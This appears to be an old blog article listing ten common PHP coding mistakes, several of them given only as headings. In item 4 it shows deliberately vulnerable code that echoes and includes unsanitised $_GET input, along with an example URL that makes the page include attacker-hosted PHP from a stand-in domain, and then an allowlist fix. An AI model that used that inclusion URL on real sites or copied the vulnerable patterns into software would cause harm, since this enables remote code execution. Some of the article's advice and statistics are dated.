10 most common problems and mistakes done by PHP coders.

1. Not escaping entities

It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.

echo $_GET['username'];

It is an apparent security risk not to sanitize untrusted data before output. Besides you might end up with pages looking very messy if you do not thread user input the right way.

So here is the right way:

2. Not Escaping SQL input

3. Wrong use of HTTP-header related functions: header(), session_start(), setcookie()

4. Requiring and including files using untrusted data

Example:
index.php
<?

//including header, config, database connection, etc

include($_GET['filename']);

//including footer

?>

By doing so the hacker can extract confidential information and execute PHP scripts stored on the server. Now if allow_url_fopen is set to On in your PHP.ini you will be doomed:

Try this one out:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fp...

Then your script include and parse any code which the web page on http://www.youaredoomed.com/phphack.php outputs. Doing so he can for instance send spam mails, change passwords, delete files.... I have a very limited imagination.

How to fix it:
You have to control which files the script is allowed to include and which it is not allowed to include.

Note: This is only a quick fix:
<?

//Include only files that are allowed.

$allowedFiles = array('file1.txt','file2.txt','file3.txt');

if(in_array((string)$_GET['filename'],$allowedFiles)) {

include($_GET['filename']);

}

else{

exit('not allowed');

}

?>

5. Syntax errors

6. No or little use of Object Orientation

7. Not using a framework

8. Not knowing about existing functionality

Save yourself time searching the manual on www.php.net and Google, keep yourself updated on new features in future releases and by ask the right people when needed.

9. Using old PHP versions

This problem primarily relates to people developing on PHP4 to put it short you are developing on a deprecating platform and not using the full potential of your knowledge move on, there's a lot of good stuff and functionality in PHP5. And it is really not a big deal to change to PHP5 most applications only need a few moderations or no moderations to cope with the change.

Secondary there is the security risk of running on old and unpatched software it might end up damaging your applications.

According to Damien Seguy (founder of the French PHP portal http://www.nexen.net) 12% of all PHP servers where running PHP5 by the start of November 2006.

Read the article here (French).

So if you are developing PHP you are most likely (88%) still doing it on PHP4, shame on you!

10. Double escaping quotes

Have you ever seen a web page display a text with \' or \" , it usually happens when a script is made for magic_quotes of (php.ini) and is deployed on a site with magic_quotes on. First PHP runs addslashes() on all GET, POST and COOKIE data then afterwards one more time when the data is being stored.

Original text:
It's a string

After magic quotes on script start:
It\'s a string

On query storage:
It\\'s a string

HTML output:
It\'s a string

Another scenario that makes this occur is when a user tries to sign up and inputs invalid data, the user then get presented to the same form, this time with the input escaped, the second time the user posts with the valid data the input is escaped another time.

Source : sourcerally.net